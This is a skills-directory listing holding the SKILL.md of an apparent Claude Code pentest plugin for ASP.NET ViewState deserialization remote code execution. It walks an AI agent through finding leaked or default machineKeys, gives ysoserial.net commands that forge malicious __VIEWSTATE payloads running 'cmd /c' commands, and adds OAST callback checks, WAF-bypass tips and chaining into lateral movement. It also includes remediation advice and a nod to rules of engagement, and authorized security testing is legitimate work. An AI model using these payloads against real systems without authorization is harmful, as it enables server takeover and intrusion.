Skip to content
Back to skills

Viewstate

ASecurity

ASP.NET __VIEWSTATE deserialization RCE — forge a malicious ViewState when MAC validation is disabled or the machineKey (validationKey/decryptionKey) is leaked/default. Uses ysoserial.net and viewgen, Blacklist3r to confirm keys. Tier 1. Payloads: payloads/deserialization.md. Use on ASP.NET WebForms apps exposing __VIEWSTATE / __VIEWSTATEGENERATOR.

  • 16 stars
  • 0 votes
  • 0 copies
  • 2 views
  • Added November 17, 2026
securityjavabackend

Works with

  • mcp

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill viewstate --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Viewstate?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Viewstate
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-viewstate/badge)](https://www.skillsdirectory.com/skills/anandjogawade-viewstate)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: viewstate
description: "ASP.NET __VIEWSTATE deserialization RCE — forge a malicious ViewState when MAC validation is disabled or the machineKey (validationKey/decryptionKey) is leaked/default. Uses ysoserial.net and viewgen, Blacklist3r to confirm keys. Tier 1. Payloads: payloads/deserialization.md. Use on ASP.NET WebForms apps exposing __VIEWSTATE / __VIEWSTATEGENERATOR."
---

# ASP.NET ViewState RCE

`__VIEWSTATE` is a base64 `LosFormatter`-serialized blob. If its MAC is disabled, or the `machineKey` is leaked/default, you can forge a ViewState that deserializes into a gadget chain → RCE.

## Trigger phrases
`viewstate, __viewstate, aspnet deserialization, machinekey, losformatter, ysoserial.net viewstate, viewgen`

## Method
1. **Fingerprint:** ASP.NET WebForms (`.aspx`), hidden `__VIEWSTATE` (base64, often `/wE...`) + `__VIEWSTATEGENERATOR`. Note framework version, whether `__VIEWSTATEENCRYPTED` is present.
2. **Determine MAC/encryption state:**
   - **MAC disabled** (`enableViewStateMac=false`, or pre-4.5 / misconfig): no key needed.
   - **MAC enabled:** you need `validationKey`+`validationAlg` (and `decryptionKey` if encrypted). Hunt for leaked `web.config`/`machineKey` via `path-traversal`/`xxe`, source leaks, or test known/default keys with **Blacklist3r** (`AspDotNetWrapper`).
3. **Forge with ysoserial.net** (`-p ViewState`):
   ```
   # MAC disabled:
   ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c nslookup <id>.oast" --isdebug
   # MAC enabled, key known:
   ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c <cmd>" \
     --generator=<__VIEWSTATEGENERATOR> --validationkey=<key> --validationalg=<alg> \
     [--decryptionkey=<k> --decryptionalg=<alg>]
   ```
   Submit as the `__VIEWSTATE` POST field (URL-encoded). `viewgen` is an alternative generator.
4. **Confirm safely:** first fire an OAST command (`nslookup`/`curl <id>.oast`) — a callback proves RCE without a destructive payload; honor Tier/RoE before anything intrusive on production.

## Modern / rare techniques
- [NEW] **Leaked/default machineKey → RCE** even with MAC enabled — default keys are documented; Sitecore CVE-2021-42237 and Soroush Dalili's research are canonical cases.
- [NEW] **Serialization-binder bypass** (CodeWhite 2022) when the app added a custom `SerializationBinder` as mitigation.
- [NEW] **JSF/MyFaces ViewState** is the Java analogue (DES-ECB+HMAC, known default secrets) — see `deserialization`.
- Gadgets beyond TypeConfuseDelegate: `ActivitySurrogateSelector` (may need `--islegacy`/`--minify`), `ObjectDataProvider`.

## Bypass / evasion
${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md: use encrypted ViewState path when `__VIEWSTATEENCRYPTED` set, `ActivitySurrogateSelectorFromFile`, gzip/size tuning to avoid request-size limits, split across POST.

## Escalation / chaining
RCE → `command-injection` → host/`cloud-pentest`/lateral. Key discovery via `path-traversal`/`xxe` (read `web.config`). Padding-oracle route to recover keys/decrypt → `aspnet-padding-oracle`. Broader deser context → `deserialization`.

## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike): `ysoserial.net`/`ysonet`, `viewgen`, `Blacklist3r`, interactsh/Collaborator for OAST. If a Burp MCP is present, submit the forged `__VIEWSTATE` via Repeater. Windows-local may be needed to run ysoserial.net natively. See `zazy-orchestrator`.

## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. Land an OAST callback before concluding not exploitable. Report true positives only.

## Evidence
The forged `__VIEWSTATE`, generator/key source (leaked vs default vs MAC-off), the triggering request, OAST callback or command output, affected page, impact. Remediation: keep ViewState MAC enabled, rotate/secure `machineKey` (never default/shared), encrypt ViewState, upgrade framework, scope keys per-app.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.